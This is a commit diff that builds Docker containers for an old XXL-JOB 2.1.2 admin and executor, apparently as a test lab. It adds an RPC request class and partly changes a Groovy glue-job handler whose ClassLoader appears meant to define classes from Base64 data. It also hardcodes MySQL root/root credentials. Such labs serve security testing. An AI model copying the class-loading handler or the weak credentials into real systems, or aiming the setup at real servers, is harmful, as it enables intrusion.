@@ -0,0 +1,37 @@
|
|||||||
|
package com.xxl.rpc.remoting.net.params;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
|
||||||
|
public class XxlRpcRequest implements Serializable {
|
||||||
|
private static final long serialVersionUID = 42L;
|
||||||
|
|
||||||
|
private String requestId;
|
||||||
|
private long createMillisTime;
|
||||||
|
private String accessToken;
|
||||||
|
|
||||||
|
private String className;
|
||||||
|
private String methodName;
|
||||||
|
private Class<?>[] parameterTypes;
|
||||||
|
private Object[] parameters;
|
||||||
|
|
||||||
|
public String getRequestId() { return requestId; }
|
||||||
|
public void setRequestId(String requestId) { this.requestId = requestId; }
|
||||||
|
|
||||||
|
public long getCreateMillisTime() { return createMillisTime; }
|
||||||
|
public void setCreateMillisTime(long createMillisTime) { this.createMillisTime = createMillisTime; }
|
||||||
|
|
||||||
|
public String getAccessToken() { return accessToken; }
|
||||||
|
public void setAccessToken(String accessToken) { this.accessToken = accessToken; }
|
||||||
|
|
||||||
|
public String getClassName() { return className; }
|
||||||
|
public void setClassName(String className) { this.className = className; }
|
||||||
|
|
||||||
|
public String getMethodName() { return methodName; }
|
||||||
|
public void setMethodName(String methodName) { this.methodName = methodName; }
|
||||||
|
|
||||||
|
public Class<?>[] getParameterTypes() { return parameterTypes; }
|
||||||
|
public void setParameterTypes(Class<?>[] parameterTypes) { this.parameterTypes = parameterTypes; }
|
||||||
|
|
||||||
|
public Object[] getParameters() { return parameters; }
|
||||||
|
public void setParameters(Object[] parameters) { this.parameters = parameters; }
|
||||||
|
}
|
||||||
@@ -5,6 +5,7 @@ import java.util.Base64;
|
|||||||
|
|
||||||
public class DemoGlueJobHandler extends IJobHandler {
|
public class DemoGlueJobHandler extends IJobHandler {
|
||||||
|
|
||||||
|
@groovy.transform.CompileStatic
|
||||||
public static class Definder extends ClassLoader {
|
public static class Definder extends ClassLoader {
|
||||||
public Definder() {
|
public Definder() {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||||
|
|
||||||
|
RUN set -ex \
|
||||||
|
&& cd /usr/src \
|
||||||
|
&& git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \
|
||||||
|
&& cd xxl-job-admin \
|
||||||
|
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||||
|
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||||
|
&& mvn clean package -DskipTests
|
||||||
|
|
||||||
|
FROM eclipse-temurin:8-jdk
|
||||||
|
|
||||||
|
RUN set -ex \
|
||||||
|
&& apt-get update \
|
||||||
|
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.1.2.jar /usr/src/xxl-job-admin-2.1.2.jar
|
||||||
|
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||||
|
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||||
|
|
||||||
|
WORKDIR /usr/src
|
||||||
|
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||||
|
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.1.2.jar"]
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
|
||||||
|
wait-for-it -t 0 db:3306
|
||||||
|
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||||
|
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||||
|
fi
|
||||||
|
|
||||||
|
exec "$@"
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||||
|
|
||||||
|
RUN set -ex \
|
||||||
|
&& cd /usr/src \
|
||||||
|
&& git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \
|
||||||
|
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||||
|
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||||
|
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||||
|
&& mvn clean package -DskipTests
|
||||||
|
|
||||||
|
FROM eclipse-temurin:8-jdk
|
||||||
|
|
||||||
|
RUN set -ex \
|
||||||
|
&& apt-get update \
|
||||||
|
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.1.2.jar /usr/src/xxl-job-executor-sample-springboot-2.1.2.jar
|
||||||
|
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||||
|
|
||||||
|
WORKDIR /usr/src
|
||||||
|
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||||
|
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.1.2.jar"]
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
set -ex
|
||||||
|
|
||||||
|
wait-for-it -t 0 admin:8080
|
||||||
|
|
||||||
|
exec "$@"
|
||||||
Reference in New Issue
Block a user